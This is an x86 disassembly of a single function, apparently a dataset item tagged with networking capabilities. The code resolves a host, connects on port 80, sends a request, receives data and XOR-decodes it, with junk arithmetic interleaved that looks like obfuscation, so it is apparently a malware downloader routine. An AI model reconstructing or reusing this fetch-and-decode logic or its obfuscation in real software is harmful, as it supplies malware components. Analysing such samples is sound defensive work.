Function at 0x408580
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c520
push 0xffffffffffffffff
push 0x41e44b
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x425fd0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
xor edx, edx
mov word [ebp - 0x20], dx
fstp dword [ebp - 0x24]
fldz
mov dword [ebp - 0x3c], ebx
xor eax, eax
fstp qword [ebp - 0x44]
mov word [ebp - 0x34], ax
mov byte [ebp + 0x11bc], al
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x30], ebx
mov byte [ebp - 4], 1
mov word [ebp - 0x1c], cx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408630
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4089e1
fld dword [0x424dc4]
fadd qword [0x41f340]
fstp dword [0x424dc4]
fld dword [0x424dc4]
mov dx, word [ebp - 0x20]
fsub qword [0x41f890]
movsx eax, dx
mov dword [ebp - 0x2c], eax
fadd qword [0x41f888]
fild dword [ebp - 0x2c]
fmulp st(1)
call fcn.0040b0f0
fld qword [0x41f880]
mov word [ebp - 0x20], ax
xor eax, eax
cmp eax, edi
jg 0x4086da
fld qword [0x424e78]
mov cl, byte [eax + esi]
fsub st(1)
mov byte [ebp + eax + 0x13bc], cl
cmp byte [ebp + eax + 0x13bc], 0x2f
fstp qword [0x424e78]
jne 0x4086d7
fstp st(0)
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
lea ebx, [ebx]
cmp ecx, edi
jg 0x4086dc
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x4086c0
inc eax
jmp 0x408688
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086e5
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086f8
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x4089c9
mov eax, edi
mov edx, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408712
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408722
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x42592c
rep movsb byte es:[edi], byte [esi]
call fcn.00402390
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408750
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407ba0
fldz
xor eax, eax
fst dword [ebp - 0x14]
mov dword [esi], eax
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040b05e
fld qword [0x425960]
fsub qword [0x41f350]
add esp, 4
fadd qword [0x41f348]
call fcn.0040b0f0
mov dword [0x423550], eax
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087a3
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00407de0
push 0x32
push 0x4230f4
call fcn.00402390
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087d3
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407de0
fldz
push 0x32
fst dword [ebp - 0x14]
push ebx
fstp dword [ebp - 0x14]
push esi
call fcn.0040b1a0
push esi
call fcn.0040b05e
fld qword [0x425960]
fsub qword [0x41f350]
add esp, 0x10
fadd qword [0x41f348]
call fcn.0040b0f0
mov dword [0x423550], eax
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408828
sub eax, edx
push eax
lea edx, [ebp + 0x13bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00407de0
push 5
push 0x423590
call fcn.00402390
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408858
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407de0
fldz
xor eax, eax
fst dword [ebp - 0x14]
mov dword [esi], eax
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040b05e
fld qword [0x425960]
fsub qword [0x41f350]
add esp, 4
fadd qword [0x41f348]
call fcn.0040b0f0
mov dword [0x423550], eax
mov eax, dword [ebp - 0x30]
mov edx, dword [0x4259a0]
mov ecx, 0x283ecd69
sub ecx, eax
imul ecx, edx
lea eax, [ebp]
push eax
mov dword [0x4259a0], ecx
mov edi, 1
add dword [ebp - 0x30], edi
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4088ee
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089e1
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4089d9
push 6
push edi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp esi, 0xffffffff
jne 0x40895f
call sub.WS2_32.dll_WSACleanup
fld dword [0x424d98]
mov dx, word [ebp - 0x1c]
mov cx, word [ebp - 0x1c]
movsx eax, dx
mov dword [ebp - 0x14], eax
movsx edx, cx
fild dword [ebp - 0x14]
mov eax, 0x9e647afe
sub eax, edx
faddp st(1)
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub qword [ebp - 0x44]
add dword [ebp - 0x1c], edi
fcompp
fnstsw ax
test ah, 0x41
jp 0x408953
mov cx, word [str.n_S_n]
movsx eax, cx
add dword [ebp - 0x3c], eax
dec word [str.n_S_n]
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408cf3
cmp dword [ebp + 0x1458], ebx
je 0x40899e
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
add dword [ebp - 0x28], edi
movzx ecx, word [0x42303c]
mov edx, dword [ebp - 0x28]
movsx eax, cx
movzx ecx, word [ebp - 0x34]
sub eax, edx
add eax, ecx
mov word [0x42303c], ax
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
fld qword [ebp - 0x44]
fadd qword [0x41f878]
fsub dword [0x424e80]
fadd qword [0x4234d0]
fstp qword [0x4234d0]
cmp eax, ebx
jne 0x408a06
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089e1
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040abf4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b6e4
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
fld dword [0x425ec4]
mov ecx, 2
fmul qword [0x424e68]
mov word [ebp + 0x190], cx
fstp dword [0x425ec4]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408a7c
fld dword [0x425230]
call fcn.0040b0f0
cmp dword [ebp + 0x1b8], edi
mov dword [ebp - 0x28], eax
jmp 0x4089d0
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408a90
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
fld qword [0x425ea0]
mov dx, word [0x4234e8]
fsub qword [0x41f870]
movsx ecx, dx
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsubp st(1)
fadd dword [ebp - 0x24]
fstp dword [ebp - 0x24]
fld qword [0x425ea0]
fadd qword [0x41f340]
fstp qword [0x425ea0]
cmp eax, dword [ebp + 0x1b4]
jb 0x408ced
mov ecx, dword [ebp - 0x18]
push ebx
push 0x41f868
call fcn.00407ba0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [0x424db0]
call fcn.0040b0f0
mov dword [ebp - 0x38], eax
fld dword [0x424db0]
fadd qword [0x41f340]
or esi, 0xffffffff
or ebx, esi
fstp dword [0x424db0]
mov edx, dword [ebp - 0x2c]
push 0
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408c77
mov ecx, dword [ebp - 0x18]
push eax
lea eax, [ebp + 0x1bc]
push eax
call fcn.00407de0
test esi, esi
jge 0x408c2b
push 5
push 0x423590
call fcn.00402390
add esp, 8
mov edi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b68
mov ecx, dword [ebp - 0x18]
sub eax, edx
push eax
push 0
push edi
call fcn.004044e0
push edi
push 5
mov esi, eax
call fcn.004013a0
add esp, 8
test esi, esi
jl 0x408c19
mov ecx, dword [ebp - 0x18]
push ecx
add esi, 4
call fcn.00406dc0
fld dword [0x4252e8]
fadd qword [0x41f860]
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
fsub dword [ebp - 0x24]
fstp qword [str.Yu_l]
fld dword [ebp - 0x24]
fadd qword [0x41f340]
fstp dword [ebp - 0x24]
test ebx, ebx
jge 0x408c19
push 0xb
push 0x424e90
call fcn.00402390
mov dx, word [0x424e4c]
movzx ecx, word [ebp - 0x1c]
mov edi, eax
movsx eax, dx
mov edx, dword [ebp - 0x30]
add esp, 8
add ecx, eax
lea eax, [ecx + edx - 0x569c15ca]
mov ecx, dword [ebp - 0x18]
push 0
push edi
mov word [ebp - 0x1c], ax
call fcn.00405df0
push edi
push 0xb
mov ebx, eax
call fcn.004013a0
add esp, 8
test ebx, ebx
jge 0x408c77
mov ebx, dword [ebp - 0x14]
mov ecx, dword [0x424e50]
imul ecx, ecx, 0x63e0603d
mov dword [0x424e50], ecx
test ebx, ebx
jl 0x408c3b
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x14]
sub eax, esi
cmp eax, ebx
jae 0x408c77
cmp dword [ebp + 0x1458], 0
je 0x408b1d
inc dword [ebp - 0x20]
mov ax, word [ebp - 0x20]
movsx ecx, ax
mov eax, dword [0x423504]
mov edx, 0x1c44f878
sub edx, ecx
mov ecx, dword [ebp - 0x18]
imul edx, eax
mov dword [0x423504], edx
cmp dword [ecx + 0x14], 0x4000
jb 0x408b1d
mov edx, dword [ebp - 0x28]
mov eax, 0xf9234065
sub eax, edx
cmp eax, 0xabf7d407
jl 0x408c94
fld qword [ebp - 0x44]
call fcn.0040b0f0
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x2c]
push ecx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test esi, esi
jl 0x408cb5
push esi
mov esi, dword [ebp - 0x18]
push 0
mov ecx, esi
call fcn.00405d60
jmp 0x408cb8
mov esi, dword [ebp - 0x18]
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x408ced
xor eax, eax
lea esp, [esp]
cmp eax, dword [esi + 0x14]
jae 0x408ced
cmp dword [esi + 0x18], edi
jb 0x408ce3
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x408cd0
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x408cd0
cmp dword [ebp + 0x1b8], edi
jb 0x4089e1
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4089d9